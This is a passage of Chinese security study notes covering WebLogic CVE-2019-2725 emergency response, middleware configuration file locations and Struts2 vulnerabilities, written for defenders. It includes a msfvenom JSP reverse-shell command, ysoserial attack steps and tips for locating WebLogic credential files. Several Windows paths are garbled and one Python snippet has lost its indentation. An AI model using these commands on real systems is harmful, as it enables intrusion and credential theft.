rm -rf DOMAIN_HOME/servers/AdminServer/tmp/_WL_user/wls-wsat
参考1217。
三、漏洞验证与影响评估
- 自动化扫描
-
- Nessus 插件：使用
WebLogic T3 Deserialization (CVE-2019-2725)插件检测。 - PoC 验证：python
- Nessus 插件：使用
# 测试wls9-async漏洞
import requests
url = "http://IP:7001/_async/AsyncResponseService"
response = requests.get(url)
if response.status_code == 200:
print("漏洞存在")
- 渗透测试
-
- 攻击工具：
-
-
- ysoserial：生成恶意序列化数据，通过 T3 协议发送。
- Burp Suite：拦截 HTTP 请求，构造
Content-Type: application/x-java-serialized-object的 POST 请求。
-
-
- 验证指标：
-
-
- 能否执行系统命令（如
whoami）。 - 是否可上传 WebShell（如
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war）。
- 能否执行系统命令（如
-
- 日志分析
-
- WebLogic 日志：检查
DOMAIN_HOME/servers/AdminServer/logs/AdminServer.log，查找异常请求（如java.io.IOException: Write failed）。 - 系统日志：监控
/var/log/auth.log或Windows事件日志，排查可疑登录或进程创建。
- WebLogic 日志：检查
四、临时缓解与补丁部署
- JDK 版本升级
-
- 若漏洞利用依赖 JDK 低版本特性（如 CVE-2019-2725 补丁绕过），需将 JDK 升级至 1.8u211 及以上513。
- 验证方法：bash
java -version
# 需显示"1.8.0_211"或更高
- 配置参数禁用
-
- 启动参数添加：bash
# 在setDomainEnv.sh中添加
JAVA_OPTIONS="$JAVA_OPTIONS -Dweblogic.wsee.async.response.disabled=true"
参考1214。
- 等待官方补丁
-
- 订阅 Oracle 公告：访问Oracle Critical Patch Updates，一旦补丁发布，立即测试并部署。
- 验证补丁有效性：bash
# 测试T3协议漏洞是否修复
nmap -p 7001 --script weblogic-t3-info
# 测试HTTP漏洞路径是否被拦截
curl -I http://IP:7001/_async/AsyncResponseService
# 预期返回404或403
五、后续加固与长期防御
- 架构优化
-
- 微服务拆分：将 WebLogic 服务与核心业务解耦，通过 API 网关统一管理入口流量。
- 容器化部署：使用 Docker 或 Kubernetes，限制容器资源访问权限。
- 持续监控
-
- 入侵检测：部署 WAF（如阿里云 WAF）或 IPS（如深信服 AF），启用反序列化攻击特征库1022。
- 蜜罐诱捕：在 DMZ 区部署 WebLogic 蜜罐，捕获攻击行为并分析漏洞利用手法。
- 应急演练
-
- 模拟攻击：每季度使用
CVE-2019-2725等历史漏洞 PoC 验证防御措施有效性。 - 团队协作：安全、运维、开发团队联合制定响应流程，明确各环节责任人。
- 模拟攻击：每季度使用
六、案例参考与数据支持
- 历史漏洞影响：2023 年某金融机构因未及时修复 WebLogic 0day 漏洞，导致核心数据库被窃取，直接损失超千万元5。
- 防御效果：某电商平台通过配置 WAF 拦截
/_async/*路径，在漏洞爆发期间成功阻断 83% 的攻击尝试12。
通过以上步骤，可在最短时间内完成漏洞排查、风险隔离与应急响应，同时为长期防御奠定基础。关键在于快速定位漏洞特征、分层实施防御、加强跨团队协作。
8.常见的中间件的配置文件
一、Java 应用服务器
1. Tomcat
- 核心配置：
conf/server.xml（端口、连接器、虚拟主机等） - Web 应用配置：
webapps/[应用名]/WEB-INF/web.xml - 日志配置：
conf/logging.properties - 默认路径：
-
- Linux：
/usr/local/tomcat/conf - Windows：
C:Tomcatconf
- Linux：
- 特殊场景：
-
- 多实例部署时，配置文件位于
CATALINA_BASE/conf - 通过
find / -name server.xml快速定位7
- 多实例部署时，配置文件位于
2. WebLogic
- 域配置：
DOMAIN_HOME/config/config.xml（域名称、服务器实例、数据源等） - 安全配置：
DOMAIN_HOME/security/boot.properties（管理员密码） - 日志配置：
DOMAIN_HOME/servers/AdminServer/logs/AdminServer.log - 默认路径：
-
- Linux：
/u01/oracle/user_projects/domains/base_domain - Windows：
C:OracleMiddlewareuser_projectsdomainsase_domain
- Linux：
- 定位技巧：
-
- 查看
DOMAIN_HOME/servers/AdminServer/data/nodemanager/nm_password.properties获取加密密码 - 通过
grep -r "weblogic.security"搜索敏感配置5
- 查看
3. JBoss/WildFly
- 核心配置：
standalone/configuration/standalone.xml（端口、数据源、集群等） - 部署描述符：
standalone/deployments/[应用名].war/WEB-INF/jboss-web.xml - 默认路径：
-
- Linux：
/opt/jboss/wildfly/standalone/configuration - Windows：
C:JBosswildflystandaloneconfiguration
- Linux：
- 安全加固：
-
- 禁用
management接口的 0.0.0.0 绑定，修改standalone.xml中的jboss.bind.address.management为可信 IP - 移除
web-console和admin-console等管理组件12
- 禁用
4. GlassFish
- 域配置：
glassfish/domains/domain1/config/domain.xml（域名称、服务器实例、资源池等） - 日志配置：
glassfish/domains/domain1/logs/server.log - 默认路径：
-
- Linux：
/opt/glassfish5/glassfish/domains - Windows：
C:glassfish5glassfishdomains
- Linux：
- 注意事项：
-
- 管理控制台默认端口为 4848，配置文件包含
admin-password加密字段 - 通过
asadmin命令行工具修改配置更安全18
- 管理控制台默认端口为 4848，配置文件包含
二、Web 服务器
1. Apache HTTP Server
- 主配置：
conf/httpd.conf（全局设置、模块加载） - 虚拟主机：
conf/extra/httpd-vhosts.conf - 日志路径：
-
- Linux：
/var/log/httpd/access_log - Windows：
C:Apache24logsccess.log
- Linux：
- 默认路径：
-
- Linux：
/etc/httpd/conf - Windows：
C:Apache24conf
- Linux：
- 快速验证：
-
- 检查
LoadModule指令是否加载了mod_rewrite等敏感模块 - 通过
apachectl -t验证配置文件语法1
- 检查
2. Nginx
- 主配置：
nginx.conf（全局设置、HTTP 服务器） - 虚拟主机：
conf.d/*.conf - 日志路径：
-
- Linux：
/var/log/nginx/access.log - Windows：
C: ginxlogsccess.log
- Linux：
- 默认路径：
-
- Linux（apt 安装）：
/etc/nginx - Linux（源码安装）：
/usr/local/nginx/conf - Windows：
C: ginxconf
- Linux（apt 安装）：
- 安全建议：
-
- 禁用
autoindex防止目录遍历 - 限制
client_max_body_size防御上传攻击13
- 禁用
3. IIS
- 主配置：
%windir%system32inetsrvconfigpplicationHost.config（站点、应用池、认证） - 日志路径：
%windir%inetpublogsLogFiles - 默认路径：
-
- Windows：
C:inetpubwwwroot
- Windows：
- 管理工具：
-
- 通过
IIS Manager图形界面修改配置更安全 - 检查
%windir%system32inetsrvconfigSchema目录下的 XML 文件9
- 通过
三、轻量级服务器
1. Jetty
- 核心配置：
etc/jetty.xml（端口、连接器、虚拟主机） - Web 应用配置：
webapps/[应用名]/WEB-INF/webdefault.xml - 默认路径：
-
- Linux：
/opt/jetty/etc - Windows：
C:jettyetc
- Linux：
- 启动参数：
-
- 通过
java -jar start.jar --add-to-startd=logging动态加载模块 - 修改
start.ini配置端口和部署目录19
- 通过
2. TomEE
- 核心配置：
conf/server.xml（兼容 Tomcat 配置） - JPA 配置：
conf/tomee.xml - 默认路径：
-
- Linux：
/usr/local/tomee/conf - Windows：
C: omeeconf
- Linux：
四、Docker 环境
- 通用方法：
-
- 通过
docker inspect [容器ID]查看挂载卷 - 使用
docker cp [容器ID]:/path/to/config .复制配置文件
- 通过
- 示例：
-
- Nginx：
docker run --rm -it nginx /bin/bash→ 配置文件在/etc/nginx - Redis：
docker run --rm -it redis /bin/bash→ 配置文件在/usr/local/etc/redis/redis.conf
- Nginx：
- 最佳实践：
-
- 挂载宿主机目录到容器配置路径（如
-v /host/nginx.conf:/etc/nginx/nginx.conf） - 避免直接修改容器内配置文件21
- 挂载宿主机目录到容器配置路径（如
五、配置文件安全审计要点
- 敏感信息泄露：
-
- 检查
server.xml、config.xml中的password字段是否加密 - 确认
boot.properties（WebLogic）未明文存储管理员密码5
- 检查
- 未授权访问：
-
- 验证
jboss-web.xml是否配置security-constraint - 检查
httpd.conf是否限制了/manager/html等管理路径
- 验证
- 服务暴露：
-
- 确认
standalone.xml（WildFly）未绑定0.0.0.0到管理端口 - 检查
nginx.conf是否禁用了OPTIONS方法
- 确认
- 日志配置：
-
- 确保
logging.properties（Tomcat）记录ERROR及以上级别日志 - 验证
log4j.xml（JBoss）未配置DEBUG级别16
- 确保
六、快速定位技巧
- Linux 命令行：bash
# 查找Tomcat配置文件
find / -name server.xml 2>/dev/null
# 查找WebLogic域目录
find / -name config.xml 2>/dev/null | grep -i "domains"
# 查找Nginx配置文件
locate nginx.conf
- Windows 命令行：cmd
# 查找IIS配置文件
dir /s applicationHost.config
# 查找Tomcat配置文件
where /r C: server.xml
通过以上路径和技巧，可快速定位中间件配置文件，并结合安全审计工具（如 Nessus、OWASP ZAP）进行深度分析。对于 0day 漏洞应急响应，建议优先通过配置文件确认中间件版本和组件状态，再结合漏洞特征制定防御策略。
9.Strusts2反序列化漏洞
Struts2 是一个基于 MVC（Model-View-Controller）架构的 Java Web 应用框架，在开发企业级 Web 应用时被广泛使用。然而，由于其自身设计和实现上的一些问题，Struts2 存在反序列化漏洞，攻击者可借此在目标服务器上执行任意代码，以下是关于该漏洞的详细介绍：
漏洞原理
Struts2 框架在处理 HTTP 请求时，会将请求中的参数进行反序列化操作。正常情况下，这些参数应该是符合预期的数据。但如果框架在反序列化过程中，没有对输入数据进行严格的验证和过滤，攻击者就可以构造恶意的序列化数据作为请求参数发送给服务器。服务器在对这些恶意数据进行反序列化时，会触发其中包含的恶意代码，从而实现任意代码执行。
常见漏洞类型及特点
1. OGNL 表达式注入类漏洞
Struts2 使用 OGNL（Object Graph Navigation Language）来处理表达式和访问对象属性。如果对用户输入的 OGNL 表达式没有进行严格过滤，攻击者可以注入恶意的 OGNL 表达式。例如在 S2 - 001 漏洞中，攻击者通过构造包含恶意代码的 OGNL 表达式，让服务器执行任意命令。
2. 标签处理漏洞
Struts2 中的一些标签（如重定向标签）在处理用户输入时，如果没有进行严格的验证，攻击者可以构造特殊的输入触发反序列化漏洞。以 S2 - 016 漏洞为例，它利用redirect:、redirectAction:等重定向标签对用户输入的重定向 URL 未严格验证的问题，实现任意代码执行。
3. 请求头处理漏洞
在处理请求头时，若 Struts2 框架存在缺陷，攻击者可以构造特殊的请求头来触发反序列化漏洞。S2 - 045 漏洞就是因为框架在处理Content-Type请求头时存在漏洞，攻击者通过构造恶意的Content-Type值来执行任意代码。
常见影响版本
不同编号的 Struts2 反序列化漏洞影响的版本范围有所不同：
- S2 - 001（CVE - 2007 - 5654）：影响 Struts 2.0.0 - 2.0.8 版本。
- S2 - 005（CVE - 2008 - 3933）：影响 Struts 2.0.0 - 2.0.11.2 版本。
- S2 - 016（CVE - 2013 - 2251）：影响 Struts 2.0.0 - 2.3.15 版本。
- S2 - 045（CVE - 2017 - 5638）：影响 Struts 2.3.5 - 2.3.31 以及 Struts 2.5 - 2.5.10 版本。
漏洞危害
- 数据泄露：攻击者可以通过执行任意代码，读取服务器上的敏感文件，如数据库配置文件、用户信息文件等，导致企业或用户的敏感数据泄露。
- 服务器被控制：攻击者可以在服务器上执行系统命令，如添加用户、安装后门程序等，从而完全控制服务器，进一步对企业的网络进行攻击。
- 业务中断：攻击者可以破坏服务器上的应用程序或数据，导致企业的业务系统无法正常运行，给企业带来经济损失。
检测方法
1. 手动检测
- 构造测试表达式：在请求参数中插入简单的 OGNL 测试表达式，如
%{1+1}，如果服务器返回结果中包含计算结果2，则可能存在反序列化漏洞。 - 分析错误信息：发送异常请求，观察服务器返回的错误信息。若错误信息包含与 Struts2 框架相关的内容，如 OGNL 表达式解析错误等，可能存在漏洞。
2. 工具检测
- Nessus：一款专业的漏洞扫描器，拥有针对 Struts2 反序列化漏洞的检测插件，能对目标服务器进行全面扫描。
- AWVS（Acunetix Web Vulnerability Scanner）：可自动检测 Web 应用中的各种安全漏洞，包括 Struts2 反序列化漏洞。
修复方案
1. 升级框架版本
及时关注 Struts2 官方发布的安全公告，将框架升级到最新的安全版本。例如，对于 S2 - 045 漏洞，将 Struts2 框架升级到 2.3.32 或 2.5.10.1 及以上版本可修复该漏洞。
2. 输入验证和过滤
在应用程序中对用户输入进行严格的验证和过滤，防止将用户输入直接用于反序列化操作。可以使用正则表达式等方法对输入进行检查，只允许合法的字符和格式。
3. 配置安全策略
限制 Struts2 框架的一些危险功能，如禁用 OGNL 表达式的执行、限制重定向的 URL 范围等。可以通过修改 Struts2 的配置文件（如struts.xml）来实现这些安全策略。
防护建议
- 建立应急响应机制：制定完善的应急响应预案，当发现 Struts2 反序列化漏洞时，能够迅速采取措施进行处理，减少损失。
- 定期安全评估：定期对 Web 应用进行安全评估和漏洞扫描，及时发现和修复潜在的安全问题。
- 加强员工安全意识培训：提高开发人员和运维人员的安全意识，使其了解 Struts2 反序列化漏洞的原理和危害，在开发和运维过程中采取相应的安全措施。
